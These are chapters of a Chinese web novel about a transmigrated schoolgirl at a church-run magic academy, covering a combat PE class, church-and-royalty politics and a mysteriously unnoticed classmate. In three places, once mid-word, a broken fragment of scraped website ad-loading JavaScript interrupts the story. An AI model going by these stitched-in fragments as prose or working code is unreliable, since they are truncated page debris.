“你也可以直接叫我‘林瑶’呀,不用叫‘林同学’叫得那么生疏。”一直以来被同班同学喊大名喊习惯了的林瑶实在听不惯对方的叫法,只感觉太奇怪了哪哪都不舒服。 “好嘞!说实话我不是很喜欢客套,那我以后就喊你名字啦。”柳欣悦是豪爽大方的性格,担心新同学刚转来不适应这里的环境,主动跟人打招呼并提出放学后带她参观。 “如果你不着急回家的话,等下课了我带你到学校各处转转吧,毕竟咱们的校园还是很宽敞很复杂的,要是不熟悉位置特别容易迷路哦。” “哎呀,谢谢!我正缺一位可靠的向导呢!”林瑶顿觉惊喜,立刻打开书包从里面翻出一盒洗干净的新鲜草莓摆在桌上推过去,开开心心地邀请,“吃吗?我特意买来就是为了跟大家一起分享的!” 自古以来,“吃”都是一种拉近关系的绝佳方法。 不管两人是不是刚认识,是不是没有共同话题,是不是相处起来尴尬,只要你把人拉进餐馆,几瓶白兰地几道炒菜灌下去总能在短短一顿饭的时间里熟得连对方隔壁邻居姓啥都知道,无一例外。 “那我就不客气啦。”柳欣悦也不跟她推辞,直接往盒子里伸手捉草莓。 “吃么?艾遥。”少女并未忘记刚刚帮助了自己的好同桌,半侧身地看向身边整理完笔记开始整理试卷的男同学,语气平和。 他对食物不感兴趣,摇摇头,拒绝了,随即把整好的试卷放她桌面。 ……你居然还没有放弃啊,难道是想靠题海战术硬生生把我喂成终极学霸吗? 林瑶暗暗吐槽,却没开口阻止对方,也没强迫他接受自己的心意,不喜欢就算了嘛。 这样想着她收回手,转过脑袋,正要和新认识的朋友继续愉快的聊天,结果对上了一双满含微妙古怪的眼。 “林瑶,你……”不知为何,柳欣悦竟露出一副欲言又止的神色,两次抬起了手又默默放下,似乎是想询问点什么,但最终还是选择理解,带着莫名的体贴转移话题,“咱们下堂课是体育,要提前两分钟去操场,对了,你实力怎么样?” 一听是问自己的本事,林瑶迅速抛开内心的那点疑惑不动声色地挺起胸膛,故作谦虚实则骄傲地笑了笑:“还行吧。” 哼哼~她早就不是以前那个连跑八百米都会喘断气的小菜鸟林瑶了,现在的她是能一口气跑完三公里还能接着挥铁剑二十五下的钮祜禄·升级版·林瑶! 呵,区区一节体育课罢了,无论是长跑短跑还是立地跳远,于她而言岂不是易如反掌的事?尽管放马过来! 林瑶对此是信心满满,甚至开始洋洋得意,自认如果不使用魔法,单单比身体素质的话自己肯定能在班里名列前茅,毕竟现在的小孩都不太喜欢运动嘛! 直到表情严肃的体育老师站在白线外讲完规则,一声哨响宣布比试开始—— “高三七班,第十五组,洪兴斌对林瑶!禁止使用法术辅助,允许站立打击以及地面缠斗,被重击三次者输!” 林瑶:“……” 脸上的笑容渐渐消失.jpg 这还不算完,当她瞧见自己的对手随意拨开前方挡路的同学从人群中缓缓走出来时,那全身拱起的块块肌肉坚硬如泰山,魁梧健硕的身躯宛若一台双开门大冰箱,碗口粗的手腕仿佛能轻易捏碎十几个冰冻西瓜…… 她整个人原地褪色为一座灰白色的石膏,伴随着微风吹过化作一缕青烟慢慢消散在空气中。 “林同学是新来的吧?”偏偏对方看不出她的心早已碎成渣渣死掉了,还有些不好意思,对她羞涩地笑了笑,“我叫洪兴斌,成绩一直很差,所以今天这堂课就请你多多指教了。” 兄弟,你长得如此威武霸气,一看就是能从铜锣湾一路砍到尖沙咀的王者,哪个老师敢给你打低分? 而且有哪家正常学校的正常体育课是让学生搞生死搏斗的?!培养高端人才也不是这种培养法吧?你究竟是想培养高知识分子还是想培养士兵?我来之前也妹听说上个课都要跟同学赌命啊?!人家一拳下来不就只能跪着求我不要死了吗?! 林·从小到大都没跟人打过架·老师和家长眼中的乖宝宝·瑶一脸木,望着眼前这位笑容略显腼腆的一米九两百多斤壮汉,脑内已自动写好遗书了。 亲爱的daddy、mommy,女儿不孝,恐怕要先你们一步下黄泉了。 “……”原本靠着墙壁、双手环胸、不打算参与比斗藏在最后面的艾遥,面色冷淡地打量少女神情,似乎是发现她尚未经历过系统化的格斗训练,遂站直身子往前迈步,欲要开口,“老师,我……” “请多多关照,洪同学。”林瑶叹着气,最终仍是主动踏进圈内,发出的声音刚好盖住了某位少年的未尽之语。 艾遥愣住,但很快反应过来不再向前,仅仅停留于原地,用着比方才要更加认真专注的眼神关注着这场比试。 虽然勇敢地站上了武台,可连花拳绣腿的三脚猫功夫都拿不出手的林瑶内心其实已经苦得发涩了,表面却依旧按照曾经在电视节目里看到过的拳击比赛上的那些拳击手的架势,有模有样地叉开腿向对面举起拳头。 ……希望帝都学校的医务室老师水平高超能及时救我一条狗命吧。 抱着今日不是断腿就是骨折的消极信念,对自身几斤几两很有自知之明的少女深吸一口气,放声大喊一句“洪同学得罪了!”就猛地俯冲过去,捏紧(还没有人半个手掌大的)小拳头朝着对方肚子上的八块腹肌用力一挥—— 咚的一声。 不似拳拳贴肉的触感,反倒像是打中了一块钛合金钢板,从指骨快速蔓延至整条胳膊的酸痛疼得林瑶瞳孔骤缩,差点憋不住要引颈长嚎。 早在林瑶目露犹豫时就发觉她近战可能不行的洪兴斌全程动都没动过,瞧着面前痛得快要飙泪的女同学,他无奈叹气,然后没等林瑶回过神就抓住她的手腕一个扫堂腿轻轻将人放倒在地,又半蹲着虚握拳头往对方脑门上轻碰三下,咧开嘴,对她展露出灿烂耀眼的爽朗笑容。 “好,重击三次,我赢了!” 围在周边的体育老师和同学们被这神展开弄得忽然怔住,接着都善意地笑了起来。 林瑶也愣了几秒钟,不过她飞速回神借着男生的手重新站稳跟脚,拍拍校服上的灰后向他坦然一笑,毫无退缩之意地昂起头大大方方下战书:“等着吧,第二次我不会再输了!” 哼,今晚回家她就把格斗训练列入每日必修! 光是做法师还不够,她要继续努力争取做个魔武双修的六边形无敌战 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 士! “看见你这么有精神我就放心了。”柳欣悦背着双手,笑吟吟地站在旁边,“毕竟洪兴斌的实力蛮不错的,以往的课上有不少人被他打断好几根肋骨呢,老师叫到你名字的时候我都有点怕你受伤。” “洪同学是个温柔的人。”林瑶点了点头先是感谢朋友的关心,这才迟疑地问出之前就很在意的问题,“那啥……欣悦啊,我问一下,你们接受的教育一直是这样的吗?不仅要学法术还要学怎么跟人战斗……莫非毕业了你们还要去战场对付异端?” “因为我以前是在普通学校上学的嘛,我们老师都不教这些,我平常也不咋关注类似信息,因此今天是第一次接触,就很好奇。”她一边给自己找借口一边思索圣拜纳迦建立的目的,为教会输送高端人才只是其中一方面吧? 这个世界处于教会的统治之下,不存在国家与国家之间的纷争,美好得虚幻,那教会的敌人除了异端就没有了吧?即便是和皇室的争斗那也是在背地里进行,不会摆到台面上让人笑话,而这么大规模的“征兵”……所以异端的势力并不弱,实际是可以威胁到教会的? 倘若真是如此…… “嗯,是呀。”柳欣悦不疑有他,耐心地为不了解内情的新伙伴解释,“你也知道异端基本都是一群罔顾人命的邪恶疯子,他们每次行动不是召唤远古恶魔出来就是搞大型献祭试图复活古神,不说造成的财产损失,光是死掉的平民就以万记。” 讲到这里她忍不住叹息:“尽管在裁判所的努力下,异端最近都不太活跃了,可还是不能放松警惕,一旦异端再次搞事,我们——圣拜纳迦的学生——是要作为后勤人员上战场帮忙的。” 脑子里尚未成型的思路一下子被打散,林瑶立马转头望向对方,惊讶地睁大眼睛:“上战场?”让一群高中生? “哎呀别担心,说是那么说啦,重要的后勤工作,比如调度物资、装备维修和医疗救护之类的几乎都是由大学生负责,咱们一般就是去疏散安慰群众,在医疗班忙不过来的时候帮忙包个扎而已。” 林瑶:“……而已?” ——老天爷,你们的官网介绍上可从来没说过进你们的学校还要跟着上战场的呀!这不就是妥妥的诈骗吗?! 岂可修!退钱! 怎么都没想到自己年纪轻轻的(甚至没满18周岁)就要跟一群精神异常的变态邪.教徒拼刺刀玩命的林瑶一时控制不住情绪,清秀漂亮的脸蛋上显现出几分狰狞。 此时此刻她只觉得自己的底线又被这该死的破世界给强制刷新了,心中满是悲戚。 不过没等林瑶为自身凄惨的命运“哀伤”多久,她就听见了一声从不远处传来的欢呼,仰头望去,原来是隔壁六班的人在喧哗,他们这节课也是体育。 一帮人里一层外一层地围成个圈,把最中间的景象挡得严严实实,让别人根本看不清里面是什么情况,只能通过学生们激动的叫喊与加油声判断出那是一场非常精彩的比斗。 林瑶被勾起了好奇心,抱着参观学习的念头默念透视咒语,目光瞬间穿透乌压压的人群直面最里边的激烈比赛,可惜晚了一步,只看到最终的胜利者一个肘击击中对手要害,干脆利落地结束战斗。 当老师吹起哨子,那人挺直腰板,抬手把凌乱的发丝往后捋,一张精致的脸庞与一双眼尾微翘的瑞凤眼随即外露——是个梳着可爱妹妹头、气场却无比强大的女生。 身边有人将一副黑框的方形眼镜递过去,她接住后随手戴上稍微压了压外放的磅礴气势,转而透出一股冷静理智的自持感,仿佛无论发生什么事都没法动摇她的心。 瞧着就不是普通平民。 “那位是……?”哇,好帅好酷的小姐姐! 林瑶眼睛一亮,顿时心生向往,多么希望自己也能成为这样的人。 “噢,她呀,是六班的班长,叫欧阳晨曦。”柳欣悦不用看都知道她指的是谁,不以为意地答道,“是皇室的第三皇女。” “同时也是教宗大人选定的——这个国家的下一任代理人。” 17. 试探 “代理人?” “就是代为管理的意思啊,你不知道吗?”柳欣悦有点困惑,平民就算了,毕竟皇室的相关信息都是保密的,不清楚很正常,可对方既然能够进入圣拜纳迦,就代表背后的监护人与教会高层有联系,那又怎么可能会不懂这些“常识”呢? “整个世界包括我们所有人的生命都是属于主的,而教宗大人作为祂的人间化身,自然才是那个真正有权管理世界的统治者,只是教宗大人日理万机根本无暇顾及单个国家,这才选了欧阳氏,给他们冠上皇室的名号,下放权力令其代管罢了,那些官员依旧忠于教会、忠于教宗大人。” 这倒是让林瑶很惊讶,完全没想到皇室的权利竟然是由教会赋予的。 连一个圣拜纳迦的普通学生都能用不以为然的口吻随意谈论评价皇室,由此可见皇室的地位有多……难怪会想反抗了,大臣都不站在国王那边,国王得有多绝望啊。 梦回黑暗的中世纪,甚至更加可怕。 咦?那这么说来…… 少女一脸若有所思地抬手摸了摸下巴。 三皇女就是皇室专门送来学院以向教会表忠诚的质子,是友好的象征?嘛,至少明面如此。 真不容易啊,她颇为感慨,但现在还是先打消欣悦的疑虑吧。 “恩……我的情况比较特殊啦,以前一直跟着妈妈在小城市过普通人的生活,所以有很多东西我是真不知道。”林瑶抿了抿嘴,似乎是感到为难,不过她很快又振作起来向面前的新朋友笑了笑,轻快的语气难掩庆幸,“好在有欣悦你,我就不用担心会跟不上大家啦!我真的超级幸运!” “嗯嗯!都交给我吧!以后林瑶你要是遇上了不懂的问题都可以来找我!我一定会帮忙解答的!” 林瑶笑眯眯地对她竖起大拇指,然后不着痕迹地换了个话题继续闲聊。 直至老师叫到柳欣悦,她蹦蹦跳跳地跑去比试,林瑶才收起笑容扭过头,隔着人墙望向那位被众星捧月的尊贵的皇女殿下,平静的眼神不知是在想什么。 “你对皇室感兴趣?”黑发的俊秀少年悄无声息地出现于身旁,顺着她的视线看过去,眼底无波无澜。 “我是第一次见到传说中的皇太女嘛,作为一个前不久还是普通人的平民,好奇不正常?”拿不准对方的意思,林瑶谨慎作答,坚决不给他捉把柄的机会。 艾遥回头瞥了她一眼,淡然道:“难道不是想利用皇室做点什么?” 林瑶心里一惊,条件反射地观望四周看是否有人偷听,在发现身边的同学好像把他们都当做了空气完全没关注这边(甚至没察觉到艾遥突兀的出现)才放松下来,面上露出笑吟吟的表情,貌似不为所动:“那你也太看得起我了。” “就我这种糟糕透顶的实力,连同班同学都打不赢又能做什么坏事?”她轻哼,发出一声意味不明的低笑,“倒是你,艾同学,诬赖一位虔诚的信徒不太好吧?总是疑神疑鬼的小心哪天神经衰弱。” 语句讽刺,攻击性十足,少女显露出的一点真实本性稍稍撕开了乖巧的表象。 她本就不是什么从不讲脏话的懂事小仙女,发起火来她可是能追着煞笔骂十条街的狠人。 “我只是提醒。”艾遥被嘲讽了也不生气,神情依然平静如水,目光却投向了少女背后。 漆黑的夜鸦收拢翅膀静静地站在一根树枝上盯着他们,暗红的竖瞳犹如一条潜伏于茂密草丛中耐心等候猎物放松警惕的毒蛇,在金色阳光的反射下,透着一股无机质的冰冷。 “感谢你的提醒,但不需要。”林瑶没有转身,好似因为被人质疑了信仰而面露不悦,“我对主的热爱不是谁都能试探的。” “这般真心值得夸赞。”少年神色淡淡,“若是祂知晓了应当会觉得欣慰。” “……欣慰什么?” “欣慰又一只迷途的羔羊回归正轨。”他侧身,为急匆匆跑过来的女同学让开一条路。 “林瑶!”柳欣悦紧急刹车停在林瑶面前,高兴地牵起她的手,“咱们去超市买面包吧,你饿不饿?” “啊……好呀。”林瑶一时没反应过来愣愣点头,答应了才发觉原来下课铃已经响了。 瞧着满脸漠然的艾遥,看在同桌一场的份上,她正想礼貌性地问一句“要不要和我们同去”就被刚打完架肚子快饿扁的前桌给迫不及待地拉走了,没来得及问出口。 而少年难得没有跟上,仅仅沉默地注视女孩纤细娇小的背影。 随即就与突然回头的少女撞上了视线。 林瑶弯起眼眸,张开嘴无声地比了几个口型—— [谢、谢、你、的、提、醒!] 这次才是她真心的道谢,不含一丝讥讽。 艾遥愣了一下,很快地又回过神,抿着嘴唇移开了凝望她的眼。 …… 林瑶乖乖地跟着同伴走,心中莫名的愉快,就差哼一段小曲来表达喜悦了。 终于啊,事情终于有了进一步发展。 异端、皇室、教会,三者的关系错综复杂,如果她可以找到机会横插一脚,搞乱目前的局势,那就能牵制住教会,让他们没功夫关心祭品的事,顺利的话说不定还能趁乱收集回家的线索。 ……不过艾遥提示的没错,我仍处于锦衣卫的监视下,不可主动接近三皇女,否则就太明显了,只能静心等待两人接触的时机。 但说到新同桌……林瑶又迟疑了。 【“这般真心值得夸赞,若是祂知晓了应当会觉得欣慰吧。”】 【“欣慰又一只迷途的羔羊回归正轨。”】 她想起黑发少年在回复自己时从那短短两句话中无意间流露出的奇怪态度,听上去就好像……他对主毫无尊敬之心,语气里甚至藏着一丝嘲意,与相识已久的熟稔。 敢这样对造物主,估计艾遥的身份也不简单,加之在圣拜纳迦上学,和教会有关系? 可恶,好烦呀,她最讨厌解谜题了,这群家伙就不能老老实实地把答案全部讲出来吗? 林瑶叹着气,宛如霜打的茄子一样蔫蔫的。 一旁正挑选面包的柳欣悦敏锐地注意到身边人的情绪不佳,扬起脑袋担忧地询问:“怎么了?” “没什么啦。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她摇摇头,由于不想让对方担心便转移了话题,“我就是有点苦恼该买啥给洪同学做谢礼,感谢他的不‘杀’之恩嘛。” 柳欣悦果然很配合,随手拿起一盒包装好的蛋糕递过去:“他喜欢甜品哦。” “哎,真看不出来,洪同学居然喜欢甜品。”调侃归调侃,林瑶还是认真地收下了这盒蛋糕,然后想想又挑选了两杯水果布丁和几瓶饮料准备送给三位帮过自己的朋友。 “给我的吗?”柳欣悦十分惊讶,还有她的份? “嗯!”林瑶肯定地点头,笑着告诉对方,“因为你是我朋友嘛,所以这不是理所当然的吗?” 说着她又有点不好意思地挠挠脸:“虽然是一些不太值钱的东西……” “才不是那样呢,小瑶你会想着感激就已经超越许多人了。”柳欣悦对她的好感度是biubiu地往上升,言语间变得越发亲近,连称呼都改了。 她伸手搂住林瑶的胳膊,好奇地指着对方挑选的另一份礼物:“那这份呢?你打算送给谁呀?” “给艾遥,他也帮了我很多。” “艾遥?”结果柳欣悦却露出了疑惑的表情,似乎在问他是谁?咱班有这个人吗? 林瑶一怔,下意识反问:“你不认识?”明明他的位置就在她后面,转身就能瞅见,不可能不认识啊。 可当自己开口的瞬间她也后知后觉地醒悟过来有哪里不对:整堂体育课,老师都没叫过艾遥的名字,像是遗忘了这位学生,他自始至终都藏在人群的最后面不参与任何活动,一直沉默寡言,不仅如此…… 少女不禁回忆起自己与艾遥讲话时柳欣悦眼中显露出的古怪神色,以及下课了她跑来找自己却同他擦肩而过还连声问候都没有就拉着她径直离开。 按道理不应该吧?否则欣悦就太没礼貌了,她也不是那种不懂礼数的人……大概。 说来也奇怪,艾遥的长相和气质是鹤立鸡群,站在普通人之中绝对如太阳那般熠熠生辉,一举一动皆引人注目,然事实上,班里的大家都表现得像没看见他一样,仿佛根本就不存在这个人。 究竟是怎么回事? 林瑶蹙紧眉头,百思不得其解,正要追问细节的时候却猛然发现眼前人的脸色竟在一点一点地发生改变,从刚开始的迷惑慢慢变成了微笑。 “原来是艾同学呀……”柳欣悦一脸的笑意盈盈,语气寻常,疑似忘记了自己方才讲过的话,“抱歉,我不太了解他,毕竟艾同学不喜欢跟人相处,我没想到他会帮你,那看来他的性格挺不错的。” “……” 林瑶罕见地没有回话,只是垂下眼帘沉默了片刻,接着又抬眼,脸上挂着一抹若有若无的笑意。 “哎——是这样吗?”她微微一笑,“其实我感觉他是一个非常善良的好人,不然等下次我介绍你们互相认识吧?” “行啊。”柳欣悦可有可无地点了点头,丝毫没有察觉到自己身上的诡异变化。 林瑶笑着,不再询问,转过身继续挑选食物。 然而在她背对朋友的短短一刹那,她眼底的情绪就迅速淡了下来。 18. 无题 秋风吹拂,翠绿的树叶在风中沙沙作响,投下一片凉爽的浓荫。 洁白的信鸽扇动着翅膀,灵活地穿梭于枝叶间的细小缝隙,临近目的地又收起了尖尖的爪子轻巧地落在少女伸出来的纤纤玉手上,白与白相互辉映,在金黄阳光的照耀下美丽夺目。 “舅舅今晚回家吃饭呀。”林瑶收回胳膊横在胸前,听着传给自己的消息,抬起另一只手搭上灵鸽的背部温柔抚摸羽毛,“那我们就去市场买些菜吧。” 虽然她的做饭水平仅限于把青菜炒熟鱼蒸热,连简单煲个汤都不会,但没关系,重在心意嘛! “这是你的式神吗?”一天下来已经跟人混熟的洪兴斌双手抱臂,靠着桌沿饶有兴趣地打量飞到她肩膀落座的白鸽,一眼识破其本质。 “是我家人的。”林瑶收拾好课桌上的笔记通通放进书包里背起来,扭过头笑着问他,“洪同学,你喜欢我的蛋糕吗?” “当然喜欢!”洪兴斌果断向她竖起一根拇指,咧开嘴爽朗一笑,露出了他那口干净整洁的大白牙。 差点被对方突然伸出的手撞到的艾遥十分淡定地偏了偏脑袋避开他的热情。 “……”林瑶默默凝视着这一幕,然后装作什么都没发现的样子挪动视线,表面却依旧保持着礼貌平和的微笑,“你喜欢就好。” “既然你俩成为了朋友就不用这么客气吧?”前排的柳欣悦反坐椅子挑眉看他们,“怪别扭的。” “欣悦说得没错。”洪兴斌率先改口也叫她林瑶,又回想起新同学之前在体育课上的表现,遂抱着善意提醒少女一句,“林瑶,你没打过架吧?以后我们都是要上战场跟异端战斗的,最好周末找个班补习,尽快提升自己。” “我会的。”她点头,“你有什么推荐吗?” “如果你不觉得我是在给自家打广告的话,你可以来我家开的武术馆啊,我叫人给你打八折。”洪兴斌演得非常坦荡,仿佛不是在招揽顾客而是发自内心地想要帮助班级里有困难的同学变强。 真牛哇,她要是也有这种不怕苦不怕累不怕客户拒绝努力做生意的奋斗精神还用担心租不出去房子? 林瑶心生感慨,却没有立马表态:“我先回家跟舅舅商量一下。” “那你考虑好来找我就行。”洪兴斌并未失望,反倒对她友好地笑了笑,“我家的武术馆离这不远。” 对此,林瑶的回应是笑而不语。 等到大家都走得差不多了,坐在右侧的艾遥才扭头望向她:“你真要学?” “不行吗?”林瑶背着书包站起来,闻言,转过身不显居高临下地低头与他对视,“还是说艾同学有什么好的建议?” “建议谈不上,不过……”他看了眼女孩肩膀上正歪头歪脑啄着头发玩的似乎不太聪明的小胖鸽,“你可以回去请教你的舅舅,我想他应该会教你。” “……你认识我舅舅?” “我没见过,不知道认不认识,但我知道这式神的主人实力很强。”艾遥淡淡道,“白鸽的体内刻有一道印记,若你遇见危险会瞬间爆发,将方圆百里夷为平地。” 林瑶:“……” ——卧槽!舅舅你究竟把什么恐怖的大杀器留在我身边了啊?!原子弹吗?! 她努力憋了一会,发现自己着实憋不住后就选择直接问了:“艾遥,为什么你会愿意帮我呢?” “难道我们以前真的见过?”对“我”这么好,你是原主失散多年的亲兄弟吗?哥? “……” 这次轮到对方沉默了。 半晌,他才低垂着眼缓缓回答,却是答非所问。 “你该回家了。” ***** “你有没有觉得他很奇怪?”林瑶左手拎着今晚要加工的食材,右手托着鸽子,脚下踩着白线笔直地往前走。 她沉思道:“假如不是觉得不可能,我都要怀疑他是不是暗恋我了。” “咕?”最近几天被小姑娘喂胖了不少的灵鸽歪着脑袋疑惑地叫了一声。 “对啦,这段记得不要跟舅舅说哦。”林瑶摸摸它的头顶,估摸着距离差不多了就念咒语瞬间传送至楼道,随即从口袋内掏出钥匙打开家门跨进去。 “什么别跟我说?”结果一关上门,话里的主人公就站在玄关处换鞋,好像刚下班回来,碰巧听见了最后一句。 林溪晗脱掉西装外套随手挂在衣帽架上,皱着眉头转身观察今天第一天上学的外甥女,不知想到了什么语气变得不善:“有人欺负你?” “贝娜没管?” 眼见着舅舅因为联想到她被人狠狠欺负的悲惨画面而面露不悦并准备去找某个不靠谱的家伙算账,林瑶赶紧出声制止,以免无辜的贝娜老师在啥都不知道的情况下就莫名其妙地挨老朋友一顿毒打。 “不是啦舅舅,班里的同学性格都很好,不会有人欺负我的。”她摆摆手先解除他的误会,这才把今早发生在体育课上的事全部讲清楚,当然,略过了与艾遥的那段交谈。 “就是这样,还有哦,舅舅,我想报个格斗班,周末去锻炼。”林瑶乖乖跟长辈报备,没有擅作主张。 听见自家乖巧懂事的孩子不是被人欺负了,林溪晗的表情终于缓和下来,可仍然对那个把林瑶掼倒在地的男生特别不满:“他怎么能摔你呢?你不曾经过训练,挨打了肯定很疼。” “……我没那么脆弱的,而且洪同学他也没用太多力气。”唉,舅舅哪都好,就是过于宠溺她这点让人有些无奈。 林溪晗接过外甥女手中的塑料袋向厨房走去,边打开冰箱放食材边回应她先前的请求:“行呀,若是小瑶你真心想做的事就去做吧,不必问我。” 瞧着从客厅跟进厨房站在旁边撩起衣袖帮忙洗菜的林瑶,他忍不住抬手揉了揉对方毛茸茸的小脑袋,笑容温和。 “一切都看你的意愿。” “嗯!”林瑶仰着头,弯起眼眸对他笑了笑,脸颊上的小酒窝又甜又可爱,简直能把人的心融化。 至少这位十佳好舅舅没能顶住,又摸了摸她才轻咳着移开目光试图转变话题。 “周末你想 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 找哪位老师补课?” “唔……洪同学说我要是去他们家的武术馆可以给我打八折。”林瑶扭回头,把水池里的青菜全都捞出来后甩干水放进菜篮子,“我打算先去学一节课看看效果,要是不错我就交钱。” 至于艾遥说的找舅舅……别闹,舅舅平时工作很多很忙的,压根没空教她,而且这种格斗课她完全能够自己找老师勤学苦练,不用麻烦人家。 “为何不找贝娜?”林溪晗却不太能理解,接过菜篮把洗好的青菜倒进热油锅里不断翻炒,“舅舅今早不是跟你说过学校的事都可以找他吗?” “别的不谈,他教学能力还是及格的,教出的不少学生都很优秀,即使你不想跟他学,他手底下也有许多优质教师,随便挑一个。”甚至是免费的不用花大价钱。 毕竟,他会忍着厌恶特意叫那个恶心的家伙过来就是想让他在学校照顾好小瑶,其中自然也包括了为她答疑解惑、辅导她做功课。 ——这算是他失败人生中唯一存在的价值了。 “贝娜老师平日也很忙的吧?”少女摇头,委婉地拒绝了,“我先试着自己练习,倘若收获不佳再拜托老师帮忙。” 林溪晗叹气,却没有强迫她接受:“那好吧,只要小瑶你高兴就行。” “嗯嗯!谢谢你舅舅!” “不用向我道谢。”他有点无奈,“一家人何必那么客气?” 林瑶不好意思地挠挠脸:“唔……习惯了,下次我一定会记得的。” 菜已上齐,家人间的闲聊告一段落,他们安安静静地吃完了这顿不算丰富的晚餐,然后林瑶就主动收拾碗筷去厨房洗碗。 洗完了又一溜烟跑到书房问加班写报告的舅舅要不要喝果汁,得到否定的答复她就只端自己那一杯回房间准备写今天老师布置的作业,顺便复习笔记。 “……在第三段里要套上阿格斯公式才能起效,公式的理论是……相应的变化是……”林瑶紧紧盯着魔法天书上的内容一句一句背诵,眉头皱得死死的,记咒语记得脑壳疼,感觉比记化学反应还要痛苦。 异世界的教育与自己常年所受的教育相冲突,听学校老师讲课她跟听数学物理一样听都听不懂,压根无法理解,幸好还能靠死记硬背,不然她就真的成垫底学渣了。 别的不说,在穿越前自己可是文科生啊!记忆力这块杠杠滴!实际运用先不谈,单纯地背咒语公式毫无问题! 自信竖大拇指.jpg “不过还有很多东西要补啊……烦死了。”洁白的灵鸽飞进怀里懒懒趴着,林瑶一手抱着小宠物一手揉它脑袋,身子后仰放松地靠着椅背休息,可惜瞧着桌上一堆书以及高高的一摞试卷,又开始觉得太阳穴一抽一抽地痛起来了。 “明天……我想想……”抛掉暂时没办法做到的事(总不能像上次那样再用一次禁术把这么多知识点一股脑地全塞进大脑吧),林瑶抚摸着鸽鸽光滑柔顺的白羽毛,喃喃自语,“先找个机会去看看她吧。” ——看看那位被皇室送来做质子的皇太女殿下。 19. 算账 咕噜咕噜。 热水壶的水烧开了冒起不断翻滚的泡泡,氤氲的热气从长长的壶嘴里喷出,与寒冷的空气碰撞到一起飘荡出一缕湿热的白烟。 微风穿过敞开的玻璃窗,放于桌面的书籍一页一页地掀起,悬挂的时钟,细长的秒针一点一点地往前推进。 搁置在木架上的沙漏开始了倒转,破旧的录音机重新播放悠扬悦耳的古典音乐。 有着大波浪卷发的美丽女人略微俯身微笑着向妻子伸出了手邀请其共舞,对方似乎接受了邀约将手放入她的掌心,并拢五指,她搂住爱人的腰,悠悠迈出第一步。 伴随着优美动听的乐声,他们在客厅中央翩翩起舞。 旋转,跨步,前进,再后退。 绣花的长裙在空中划过一道道曼妙的弧度,宛如清晨萦绕在山间的那缕白茫茫的迷雾,又宛如公园里朵朵绽放的鲜花之中,那枚象征着天真无邪的白百合姑娘。 流水般轻柔的旋律渐停,一曲舞毕,女人松开了紧握的双手,转过身,带着心爱之人优雅地向周围观赏他们表演的并不存在的观众微微鞠躬致谢。 “你倒是很有雅兴。” 音乐暂停,恢复静谧的室内忽然响起男性平淡低沉的嗓音,打破了此刻愉悦的气氛。 贝娜却毫不在意地慢吞吞起身,简单整理了一下因跳舞而有些凌乱的衣袖,望着窗边不知何时出现的洁白信鸽,眉毛轻挑,发出一声意味不明的哼笑。 “真是稀客呀,咱们的大忙人居然有空莅临寒舍,所为何事呢?” “我让你照看小瑶,你就是这么照看她的?”白鸽毫不理会她的挑衅,只是冷冰冰地质问,一来就跟人算总账。 “怎么?有人欺负她?”谈到那个可爱的小姑娘,贝娜的态度也从原来的漫不经心变得无比严肃。 她立即调动全校的[监控]去查探昨日的异常,但仔细观察了一圈却没发现有暴力事件发生,眼中不禁流露困惑。 啧,林溪晗这小心眼的狗东西该不会是在找借口耍他吧? 注意到对方面上那根本就没掩饰过的怀疑,被赋予了主人一丝神念的灵鸽冷冷哼声。 “你应该知道昨天小瑶在体育课上与同班同学比试时被他掼倒在地了吧?” “知道啊。”贝娜还认真思索了一番,始终不能理解对方的心态,战斗中途发生碰撞导致受伤不是一件很正常的事吗?有什么好生气的? “可她回来后却告诉我想去外面找老师补课,这难道不是你的失职吗?”男人的声音越发冷了,“没能及时发觉学生的不足,各种考虑不周,被指出错误还不知悔改仍在狡辩,尸位素餐也该有个界限吧?” “废物。” 打死都想不到会是这种离谱原因的贝娜:“……她才进学校一天,你就来找我的茬?” 未免太过分了吧? “所以呢?你今天来是单纯地骂我一顿还是叫我补偿小瑶?”懒得跟他计较,急着把人打发走的贝娜扭着水蛇般的腰肢晃过去,随即坐在木椅上斜倚着窗台单手支颐,魅惑的姿势中隐隐透出一股懒散。 “做好你该做的事就足够了,以你低等的智商我不指望你能明白我的意思。”白鸽表现得有点烦躁,好像他那边突然有了紧急情况容不得自己再分神,只能提前结束这边的谈话。 “没有第二次。” 他丢下一句冷漠的警告就撤回了那丝神念,负责传讯的灵鸽当即展开翅膀腾空而起,通过大开的窗户飞往遥远的蓝天,小小的身影很快消失在了女人的视线范围内。 “……” 讨厌的家伙终于走了,贝娜这才悠然悠哉地收回目光,转动脑袋看向窗台上摆放着的几盆鲜花。 漂亮的木盆里填满了泥土,翠绿的枝叶边长有几朵尚未盛放的粉艳花苞,在璀璨阳光的照耀下被镀上一层金色的光芒,正如那朝气蓬勃的学生,散发出生机勃勃的气息。 她单手撑着脸颊,嘴里哼唱着不知名的小调,另一只手则拎起茶壶,在动听的歌声中,将滚烫的热水徐徐浇灌进花盆,淋上娇嫩的花苞。 足以毁灭生命的恐怖力量覆盖一切,有些脆弱的花骨朵几乎是立刻地枯萎凋零,但也有些顽强的花骨朵硬生生地抗住了那股重压,恍若奇迹再现,绽放出令人惊心动魄的美。 见状贝娜不由弯起嘴角,发自内心地喜悦欢笑。 “加油呀,我的孩子。”她轻笑着,伸出手温柔抚摸花瓣的边缘,近乎虔诚地垂下眼帘,低声呢喃。 “为了吾主,为了实现祂们的心愿,再多努力一点吧。” 至于那些已经凋落的花,她连一个眼角余光都没有投过去。 ****** “好,今天的课就上到这里,大家写作业时别忘了背咒语,明天小组抽查,不及格的把第七章的课文全部抄一遍!” “下课!” 直到负责教授黑魔法防御的可怕老师离开教室,同学们才敢松一口气放心地跟朋友聊天,或三三两两地拎着水壶喊人出去打水上厕所。 刚记了一堆单词、脑子正一团混乱的林瑶放下手中的钢笔,抬起左手握住右手腕随意活动几圈,夜空般的黝黑眼眸里无意识地流露出一抹疲倦。 为了赶上班级同学的进度不想被落下太多的她在这段时间内是疯狂地背书复习写试卷,每晚靠着舅舅炼制的药水熬到凌晨三四点,到了六点钟又爬起来去学校,比备战高考还要拼命。 